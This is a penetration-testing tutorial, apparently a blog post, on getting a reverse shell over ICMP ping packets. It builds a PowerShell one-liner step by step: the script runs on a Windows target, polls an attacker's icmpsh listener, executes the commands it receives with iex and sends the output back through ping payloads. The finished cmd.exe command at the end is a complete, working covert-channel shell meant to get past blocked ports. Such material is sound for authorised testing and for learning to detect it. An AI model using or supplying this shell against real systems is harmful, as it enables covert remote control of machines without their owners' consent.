During a penetration test, there may be a scenario where we would like to gain a shell on the system we can execute commands on, however we may not be able to do so because both outbound and inbound ports are blocked. However, we may still gain Reverse Shell connection without using ports at all. Through ping packets, which work over ICMP protocol. As outbound ping requests are rarely banned, this could be a solution in such cases.

The technique is possible because if we take a look at the structure of an ICMP packet, we can see there is an optional data field (ICMP Payload). That optional data field will be used for our shell instructions and command results.

In this example, the reverse shell will be generated on a windows machine which will be connecting back to kali linux host.

We are going to use the default icmpsh_m.py ICMP server script (available on Kali Linux) for listening and passing commands to the targeted machine. For the targeted machine itself, we will write a very concise, short powershell script to generate a reverse shell connection back to us. The shorter the script will be, the better.

Lets do a simple test; run the readily available icmpsh_m.py on linux and send some ping data to it from windows machine.

On the Kali machine the default ICMP server script icmpsh_m.py usually can be found here: /usr/share/sqlmap/extra/icmpsh/icmpsh_m.py

Run the icmpsh_m.py and pass IP addresses of a Linux and Windows machines respectively:

./icmpsh_m.py [Source IP] [Destination IP]

On the Windows machine, open powershell session and type the following command to create a .NET Ping class object and send data (string ‘test’) containing ping packet to the linux machine:

$p=New-Object System.Net.NetworkInformation.Ping;
$p.Send([Destination IP address of your linux machine],60000,([text.encoding]::ASCII).GetBytes('test'))

On the receiving machine, you should receive ‘test’ string:

Now lets write the reverse shell. First of all, it is important to disable ICMP ECHO Reply option on the linux system. The point of this is to block the system from sending automatic ping replies, so that we can do that ourselves with our ping server.

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Setting the IP address of the attacking machine and creating Ping class .NET object which will be used to send ping packets.

$p=New-Object System.Net.NetworkInformation.Ping;

Next, we are going to write the function that will receive the data and send it to the linux host.

Refering to the .NET API documentation at https://docs.microsoft.com/en-us/dotnet/api/system.net.networkinformation.ping?view=netframework-4.8, we see a number of ways Send method can be used, but the two of interest are:

Int32 – milliseconds to wait for response.

Byte[] – this is where ICMP data goes. If we don’t want packets to be fragmented, the max data size should not exceed 1472 bytes.

PingOptions – object of the class that allows to tweak specific options for the ping packet, such as DontFragment.

And here is the function:

function f($a){ $p.Send($ip,60000,([text.encoding]::ASCII).GetBytes($a)) };

Sending the first data to the attacker machine – the current folder location. gl – short for Get-Location, (gl).path will print only the path.

$m='PS '+(gl).path+'> '; 

Next we enter a while loop that will keep shell active until we receive exit command.

while (1) {

Inside the loop, we are going to continuously send ping (ECHO Request) packets with empty data fields and checking for ping response (ECHO Reply) packets which in their data field should contain our commands. The function will return PingReply system object – $r.

$r = f('');

To access the data area of the packet, we use $r.Buffer – which is a Byte[] array containing binary values of command strings if we have issued a command, otherwise – nothing. If the data area of ping Echo Reply packet is empty, we use ‘continue’ to move to the top of the while loop and start over.

if (!$r.Buffer) { continue }; 

If the data field is not empty, we retrieve the command string.


Checking if our string contains exit, and exit powershell session if it’s the case.

if ($rs-like'exit*') { exit }

Otherwise, we execute the command (iex -C $rs) and save the result in $rt variable as a single string (Out-String).

else { $rt=(iex -C $rs | Out-String); 

Now we have to send the command result string to our linux machine. We are going to divide the string to 80 character long portions and send them one by one. If we don’t divide our string, it may not pass entirely as there may be different MTU (maximum transmission unit) for different network types (1500 – for Ethernet). Also, remember that the max amount of bytes for data field of ping packets is 1472 bytes, hence the value chosen should be below that.

$i=0; while ($i -lt $rt.length-80) { f($rt.Substring($i,80)); $i -= -80; }

Once the result string is sent, we send another line to return to the default screen of “PS [Current folder path] >”.

$m = 'PS '+(gl).path+'> '; f($m); }; }

The whole program executed from cmd.exe:

powershell -nop -Command "$ip=''; $p=New-Object System.Net.NetworkInformation.Ping; function f($a) { $p.Send($ip,60000,([text.encoding]::ASCII).GetBytes($a)) }; $m='PS '+(gl).path+'> '; f($m); while (1) { $r = f(''); if (!$r.Buffer) { continue }; $rs=([text.encoding]::ASCII).GetString($r.Buffer); if ($rs-like'exit*') { exit } else { $rt=(iex -C $rs | Out-String); $i=0; while ($i -lt $rt.length-80) { f($rt.Substring($i,80)); $i -= -80; }; f($rt.Substring($i)); $m = 'PS '+(gl).path+'> '; f($m); }; }"

Leave a comment

Your email address will not be published. Required fields are marked *